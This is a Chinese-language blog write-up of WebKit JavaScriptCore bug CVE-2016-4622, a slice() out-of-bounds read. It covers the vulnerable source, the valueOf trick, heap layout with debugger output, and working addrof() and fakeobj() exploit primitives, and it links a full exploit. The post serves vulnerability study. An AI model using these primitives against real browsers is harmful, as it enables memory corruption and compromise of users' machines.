JavaScript engine exploit(三)

 

0x00 前言

这次准备介绍一个经典的bug:CVE 2016 4622

这个bug也是第一篇介绍到的文章Attacking JavaScript Engines中提到的,saelo在文章中对漏洞相关的技术介绍得很清楚,网上也有很多人对这个漏洞进行了复现,我没有在前面对这个漏洞进行介绍是因为这个洞算是比较老了(其实主要是在我机器上编译不了)。

但是前段时间看到了一篇文章:WebKit JSC CVE-2016-4622调试分析

发现还是有人遇到了同样的情况,文章中给出了在新分支中打上vuln patch的方式,patch的方案和文件来源:https://github.com/m1ghtym0/write-ups/tree/master/browser/CVE-2016-4622

 

0x01 POC

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {
      valueOf: function() {
        a.length = 0; 
      return 10; 
      }
    }
);
print(b);
//0.123,1.123,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

 

0x02 Slice

poc很简洁,这是一个数组越界访问(OOB)的漏洞。漏洞出现在Array.prototype.slice的实现中,具体的函数是arrayProtoFuncSlice

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
    {
      /* [[ 1 ]] */
      JSObject* thisObj = exec->thisValue()
                         .toThis(exec, StrictMode)
                         .toObject(exec);
      if (!thisObj)
        return JSValue::encode(JSValue());

      /* [[ 2 ]] */
      unsigned length = getLength(exec, thisObj);
      if (exec->hadException())
        return JSValue::encode(jsUndefined());

      /* [[ 3 ]] */
      unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
      unsigned end =
          argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

      /* [[ 4 ]] */
      std::pair<SpeciesConstructResult, JSObject*> speciesResult =
        speciesConstructArray(exec, thisObj, end - begin);
      // We can only get an exception if we call some user function.
      if (UNLIKELY(speciesResult.first ==
      SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

      /* [[ 5 ]] */
      if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
            isJSArray(thisObj))) {
        if (JSArray* result =
                asArray(thisObj)->fastSlice(*exec, begin, end - begin))
          return JSValue::encode(result);
      }

      JSObject* result;
      if (speciesResult.first == SpeciesConstructResult::CreatedObject)
        result = speciesResult.second;
      else
        result = constructEmptyArray(exec, nullptr, end - begin);

      unsigned n = 0;
      for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        if (exec->hadException())
          return JSValue::encode(jsUndefined());
        if (v)
          result->putDirectIndex(exec, n, v);
      }
      setLength(exec, result, n);
      return JSValue::encode(result);
    }
  1. 取得调用方法的对象(在这里是数组对象)
  2. 得到数组的length
  3. 对参数进行转换得到start和end的index,并将它们限制在[0, length)的区间内
  4. 检查是否有构造函数可使用
  5. 执行切片

最后执行切片一共有两种方式:

  1. 如果是密集型存储的数组就执行fastSlice,使用memcpy拷贝数据到新数组。
  2. 如果fastSlice无法执行,就使用slowSlice,使用一个循环将元素一个一个放入新数组。

值得注意的是在fastSlice中没有对数组边界的检查,看起来在前面的代码中已经对start和end的范围做了限制,所以很容易地认为在后面的代码中不会有数组越界的情况发生,但是saelo在文章中使用类型转换突破了这个限制。

 

0x03 ValueOf

JavaScript属于“动态弱类型”语言,JavaScript在处理不同类型变量时会尝试去把变量转化成自己需要的类型,以Math.abs()为例:

>>> Math.abs(-42)
42
>>> Math.abs("-42")
42
>>> Math.abs([])
0
>>> Math.abs(true)
1
>>> Math.abs({})
NaN
>>>

但是这种用法不适用于强类型语言,比如Python(Python属于“动态强类型”语言)。

如果一个对象有可以调用的valueOf()方法,当需要做类型转换时会获取这个方法的返回值作为转换的结果:

>>> Math.abs({valueOf:function(){return 10;}})
10

有时候toString()也是有效的:

>>> Math.abs({toString:function(){return "10";}})
10

这也是为什么在poc中要给slice()传入带valueOf()方法的对象。

var b = a.slice(0, {
      valueOf: function() {
        a.length = 0; 
      return 10; 
      }
    }
);

表面上等效于:

var b = a.slice(0, 10);

 

0x04 Exploiting with “valueOf”

arrayProtoFuncSlice()中的参数类型转换发生在argumentClampedIndexFromStartOrEnd()执行的时候,该方法负责将start和end限制在[0, length)区间。

    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    double indexDouble = value.toInteger(exec);  // Conversion happens here
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);

这段代码有个很明显的问题,这里用的length是前面获取到的,如果我们在类型转换时将数组实际的length缩小,由于这里的length不会更新,start和end表示的范围将会突破数组长度的限制。

再来看看重新设定数组长度之后会发生什么,具体的代码在JSArray::setLength

    unsigned lengthToClear = butterfly->publicLength() - newLength;
    unsigned costToAllocateNewButterfly = 64; // a heuristic.
    if (lengthToClear > newLength &&
        lengthToClear > costToAllocateNewButterfly) {
        reallocateAndShrinkButterfly(exec->vm(), newLength);
        return true;
    }

中间设置了一个costToAllocateNewButterfly是用来避免频繁申请内存空间的。

解读下这段代码的意思:new length减去old length的差值如果大于new length而且大于costToAllocateNewButterfly,就会为数组重新申请butterfly的内存。这里的length表示的不是字节数,而是slot的数量,也就是元素个数。

结合这部分的内容就很容易知道poc中打印出来的b的内容大概是什么了。就是a重新分配的butterfly紧挨着的内存区域的数据。但是我们仍然不知道泄漏出来的数据具体是什么,属于哪个对象。

 

0x05 JavaScriptCore Heap

Butterfly的分配是在JSC的Heap中进行的,对于大小相近的Butterfly,他们会被分配到一片连续的内存空间中:

a = [1.1];
a[0] = 1.8;
print(describe(a));
b = [{}];
print(describe(b));
Object: 0x1072b42b0 with butterfly 0x8000fe4a8 (Structure 0x1072f2a00:[Array, {}, ArrayWithDouble, Proto:0x1072c80a0, Leaf]), StructureID: 97
Object: 0x1072b42c0 with butterfly 0x8000fe4c8 (Structure 0x1072f2a70:[Array, {}, ArrayWithContiguous, Proto:0x1072c80a0]), StructureID: 98

可以看到两个Array的Butterfly是连在一起的,这个对于长度被缩小后内存被重新分配的Array也是一样的:

a = [];
for (var i = 0; i < 100; i++) 
    a.push(i + 0.123);
a.length = 0;
print(describe(a));
b = [{}];
print(describe(b));
Object: 0x106ab42b0 with butterfly 0x8000fe4a8 (Structure 0x106af2a00:[Array, {}, ArrayWithDouble, Proto:0x106ac80a0, Leaf]), StructureID: 97
Object: 0x106ab42c0 with butterfly 0x8000fe4c8 (Structure 0x106af2a70:[Array, {}, ArrayWithContiguous, Proto:0x106ac80a0]), StructureID: 98

那我们就可以很清楚的知道,前面通过POC泄漏出来的数据就是其他对象的butterfly。那么如果我们收缩Array之后紧接着分配一个大小相近的Array,就应该可以读取到第二个Array的butterfly了,如果里面保存的是对象那么我们就可以泄漏这个对象的地址了。

 

0x06 Addrof

结合POC:

a = [];
for (var i = 0; i < 100; i++) 
    a.push(i + 0.123);

b = a.slice(0, {
        valueOf: function() {
            a.length = 0; 
            var leak_ary = [{}];
            print(describe(a));
            print(describe(leak_ary[0]));
            return 10; 
        }
    }
);

print(describe(b));
#a
Object: 0x1071b42b0 with butterfly 0x10000fe4a8 (Structure 0x1071f2a00:[Array, {}, ArrayWithDouble, Proto:0x1071c80a0, Leaf]), StructureID: 97
#leak_ary
Object: 0x1071b0080 with butterfly 0x0 (Structure 0x1071f2060:[Object, {}, NonArray, Proto:0x1071b4000]), StructureID: 75
#b
Object: 0x1071b42d0 with butterfly 0x10000e0078 (Structure 0x1071f2a00:[Array, {}, ArrayWithDouble, Proto:0x1071c80a0, Leaf]), StructureID: 97
>>> b
0.123,1.123,1.5488838078e-314,6.3659873734e-314,2.180893412e-314,0,0,1.5488838078e-314,1.5488838078e-314,1.5488838078e-314

(lldb) x/6gx 0x10000e0078
0x10000e0078: 0x3fbf7ced916872b0 0x3ff1f7ced916872b
0x10000e0088: 0x00000000badbeef0 0x0000000300000001
0x10000e0098: 0x00000001071b0080 0x0000000000000000

通过查看b的butterfly可以看到里面已经保存了leak_ary的地址。通过直接输出b,我们获取第五个元素就可以得到泄漏出的对象地址了。封装addrof()如下:

function addrof(obj){
    var a = [];
    for (var i = 0; i < 100; i++) 
        a.push(i + 0.123);

    var b = a.slice(0, {
            valueOf: function() {
                a.length = 0; 
                var leak_ary = [obj];
                return 10; 
            }
        }
    );
    return b[4];
}

 

0x07 Fakeobj

伪造对象也可以通过这个oob漏洞完成,和addrof()的区别就是,我们需要先将a转化为ArrayWithContigous,在a缩小之后,申请一个ArrayWithDouble,并将要伪造的对象地址写进去,构造如下:

function fakeobj(addr){
    var a = [];
    for (var i = 0; i < 100; i++) 
        a.push(i + 0.123);

    var b = a.slice(0, {
            valueOf: function() {
                a.length = 0;
                a[0] = {};
                var arr = [1.1];
                arr[0] = addr;
                return 10; 
            }
        }
    );
    return b[4];
}

我构造出来的addrof()fakeobj()会和saelo的不太一样,因为我是根据自己对漏洞的理解写的,saelo的构造比我更加简洁:

addrof@saelo

function addrof(object) {
        var a = [];
        for (var i = 0; i < 100; i++)
            a.push(i + 0.1337);   // Array must be of type ArrayWithDoubles

        var hax = {valueOf: function() {
            a.length = 0;
            a = [object];
            return 4;
        }};

        var b = a.slice(0, hax);
        return Int64.fromDouble(b[3]);
}

fakeobj@saelo

function fakeobj(addr) {
        var a = [];
        for (var i = 0; i < 100; i++)
            a.push({});     // Array must be of type ArrayWithContiguous

        addr = addr.asDouble();
        var hax = {valueOf: function() {
            a.length = 0;
            a = [addr];
            return 4;
        }};

        return a.slice(0, hax)[3];
}

 

0x08 Exploit

由于JSC在新加入了2016年并没有的漏洞缓解措施“Gigacage”,导致无法修改特定对象的m_vector的指针,比如Float64Array,所以saelo文章中的利用方法不适用于本文中打了patch的JSC,其实我们完全可以用上一篇文章中的利用方法,直接将除了addrof()fakeobj()的部分复制过来就能用了。

当然这样有些不兼容的问题,我在代码中做了一些调整:https://github.com/joshua7o8v/Browser/blob/master/WebKit/cve-2016-4622/poc.js

关于poc.js中不太理解的地方可以看上一篇文章。

 

0x09 Reference

[1] https://github.com/joshua7o8v/Browser/tree/master/WebKit/cve-2016-4622

[2] http://www.phrack.org/papers/attacking_javascript_engines.html

[3] http://d1iv3.me/2019/07/06/WebKit-JSC-CVE-2016-4622%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/

(完)